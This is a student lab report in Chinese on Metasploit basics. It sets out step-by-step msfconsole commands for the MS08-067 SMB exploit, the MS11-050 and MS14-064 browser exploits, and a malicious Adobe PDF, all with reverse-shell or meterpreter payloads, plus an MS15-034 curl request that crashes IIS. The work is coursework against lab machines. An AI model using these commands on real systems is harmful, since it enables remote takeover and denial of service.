2020-2021-2 网络对抗技术 20181230 Exp6 MSF基础应用
一、原理与实践说明
实践原理
1.MSF攻击方法
- 主动攻击:扫描主机漏洞,进行攻击
- 攻击浏览器
- 攻击其他客户端
2.MSF的六种模块
- 渗透攻击模块
Exploit Modules:攻击漏洞,把shellcode"背"过去- 主动渗透攻击:攻击某个系统服务
- 被动渗透攻击:攻击某个客户端应用
- 辅助模块
Auxiliary Modules:在进行渗透攻击之前得到目标系统丰富的情报信息,它是攻击的前提- 网络服务的扫描与查点
- 探查敏感信息泄露、Fuzz测试发掘漏洞
- 收集登录密码
- 攻击载荷
Payload Modules:载荷,一段指令(shellcode),目标系统在被渗透攻击之后去执行的代码 - 空字段模块
Nop Modules- 一些对程序运行状态不会造成任何实质影响的空操作或无关操作指令,即空指令(滑行区)
- 由于系统无法精确计算
shellcode的起始地址,所以加入nops以增加攻击成功的概率
- 编码模块
Encoders- 改变
payload形状,使得不出现特定字符 - 确保攻击载荷中不会出现渗透攻击过程中应加以避免的“坏字符”
- 改变
- 后渗透攻击模块
Post:攻击成功之后,动态传输代码使其在被控机执行 - 查看六种模块源码目录
/usr/share/metasploit-framework/modules
3.MSF的三种用户操作界面
- msfconsole
- 查看模块的具体信息
info [exploits|auxiliary|post|payloads|encoders|nops] - 查看设置信息
show [options] - 查看攻击目标类型
show [target] - 查找命令
search- 查找2016年产生的在windows平台下的漏洞
search ms16 type:exploit platform:windows
- 查找2016年产生的在windows平台下的漏洞
- 查看模块的具体信息
- armitage
- 启动服务器
service postgresql start - 启动armitage
armitage
- 启动服务器
- webgui
- 详情参考
实验内容及要求
1.1一个主动攻击实践,尽量使用最新的类似漏洞; (1分)
1.2 一个针对浏览器的攻击,尽量使用最新的类似漏洞;(1分)
1.3 一个针对客户端的攻击,如Adobe或office,尽量使用最新的类似漏洞;(1分)
1.4 成功应用任何一个辅助模块。(1分)
以上四个小实践可不限于以上示例,并要求至少有一个是和其他所有同学不一样的,否则扣除1分
实验准备
保证kali与各靶机之间能ping通:

二、实验过程
任务一:主动攻击实践
漏洞名称:MS08_067
漏洞介绍:
时间:2008年底
原理:攻击者利用受害者主机默认开放的SMB服务端口445,发送特殊RPC请求,通过MSRPC接口调用serve服务函数NetPathCanonicalize函数对进行远程访问的路径规范化,而此函数中存在栈缓冲区内存漏洞,可被利用实施远程代码执行
受影响的操作系统:windows 2000/xp/server 2003/server 2008/vista/7 Beta
攻击机:kali 192.168.43.131
靶机: XP 192.168.43.195
攻击过程:
攻击者试探靶机是否存在此漏洞nmap -sS -A --script=smb-vuln-ms08-067 -PO 192.168.3.114
查看版本号
查看靶机是否存在此漏洞

启动msfconsole查找漏洞search ms08-067,可以看到该漏洞的渗透模块:

.用use exploit/windows/smb/ms08_067_netapi使用该模块,再使用show payloads查看可以供我们使用的payload


攻击过程:
set payload generic/shell_reverse_tcp//设置攻击载荷
options
set RHOST 192.168.43.195//设置靶机IP
et LHOST 192.168.43.131//设置攻击机IP
set LPORT 12300//设置监听端口
set target 0
exploit



攻击成功
任务二:针对浏览器的攻击
漏洞名称:MS11_050
原理
- 原理:IE浏览器MSHTML模块在处理无效标签时存在use-after-free漏洞
- 影响范围:IE Exploer 7 以及 IE Exploer 8
启动msfconsole查找漏洞search ms08-067,可以看到该漏洞的渗透模块:

攻击过程:
use windows/browser/ms11_050_mshtml_cobjectelement //选择攻击模块
info//查看详细信息
set payload windows/meterpreter/reverse_tcp //设置tcp反向连接
show options//查看需要设置的相关信息:
set SRVHOST 192.168.1.110 //设置靶机要回连的IP地址
set LHOST 192.168.1.110 //kali IP
set URIPATH 20181230zym //统一资源标识符路径设置
exploit //发起渗透攻击




在靶机中启动IE浏览器访问该链接
[-] 192.168.3.114 ms11_050_mshtml_cobjectelement - Unknown User-Agent Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
由于靶机的IE版本不在可以利用的范围内,就只能大概测试一下,如果成功的话
漏洞名称:MS14_064
原理
- Microsoft Windows OLE远程代码执行漏洞,OLE(对象链接与嵌入)是一种允许应用程序共享数据和功能的技术,远程攻击者利用此漏洞通过构造的网站执行任意代码,影响Win95+IE3 – Win10+IE11全版本
攻击过程:
use exploit/windows/browser/ms14_064_ole_code_execution //选择攻击模块
show payloads //显示可用攻击载荷
set payload windows/meterpreter/reverse_tcp //设置tcp反向连接
info //查看详细信息(发现可攻击winXP和win7)
show payloads //显示可用攻击载荷
set SRVHOST 192.168.1.110 //设置攻方IP
set LPORT 12300
exploit //发起渗透攻击,这时会生成一个链接,把这个链接复制到WindowsXP里打开




等待目标机访问,连接后查看会话 sessions -i

进入交互模式 sessions -i 1

获取shell shell

任务三:针对客户端的攻击
Adobe
攻击过程:
输入命令:
use windows/fileformat/adobe_cooltype_sing //选择攻击模块
set payload windows/meterpreter/reverse_tcp //设置tcp反向连接
show options//显示可用攻击载荷
set LPORT 12300 //设置攻击端口
set FILENAME 20181230zym.pdf //设置生成的pdf文件名
exploit //发起攻击

将生成的文件复制之后导入靶机中, 控制台中输入back退出当前模块,输入以下命令进入监听模块:
use exploit/multi/handler //进入监听模块
set payload windows/meterpreter/reverse_tcp //设置tcp反向连接
show options//显示可用载荷
set LPORT 12300//设置攻击端口
exploit //监听

我尝试很多版本的Adobe reader以及不同的浏览器打开pdf始终只能监听却链接不上。
任务四:应用辅助模块
漏洞名称:MS15-034
原理
- 在2015年4月安全补丁日,微软发布的众多安全更新中,修复了HTTP.sys中一处允许远程执行代码漏洞,编号为:CVE-2015-1635(MS15-034 )。利用HTTP.sys的安全漏洞,攻击者只需要发送恶意的http请求数据包,就可能远程读取IIS服务器的内存数据,或使服务器系统蓝屏崩溃。根据公告显示,该漏洞对服务器系统造成了不小的影响,主要影响了包括Windows 7、Windows Server 2008 R2、Windows 8、Windows Server 2012、Windows 8.1 和 Windows Server 2012 R2在内的主流服务器操作系统。
攻击过程
靶机:windows7
首先需要安装IIS服务,win7安装好iis服务后访问80端口,
详情参考https://jingyan.baidu.com/article/2fb0ba40916a1c00f2ec5ff7.html
检测是否存在漏洞:使用curl发送以下数据
curl http://192.168.3.115 -H "Host: 192.168.3.115" -H "Range: bytes=0-18446744073709551615"
在msf中执行过程如下,原理与之前的一样
use auxiliary/dos/http/ms15_034_ulonglongadd
set RHOSTS 192.168.3.115
set THREADS 10
run



攻击开始后,windows瞬间重启


三、实验总结
基础问题回答
用自己的话解释什么是exploit,payload,encode.
exploit就是载具,将真正要负责攻击的代码传送到靶机中。
payload就是载荷,是我们exploit中shellcode中的主要功能代码,exploit把它传送到靶机中后,它就负责执行相应的攻击代码。
encode就是编码,是我们用来修改字符,实现免杀,不让杀毒软件很轻易的就发现payload是攻击代码
实验体会
此次实验用了很多换了许多漏洞,靶机,但很多时候因为兼容问题不能实现,因为许多漏洞修复了之后,很难找到相应的测试版本,特别是越久远的漏洞越难实现,因为很难找到过去的测试版本资源。
浙公网安备 33010602011771号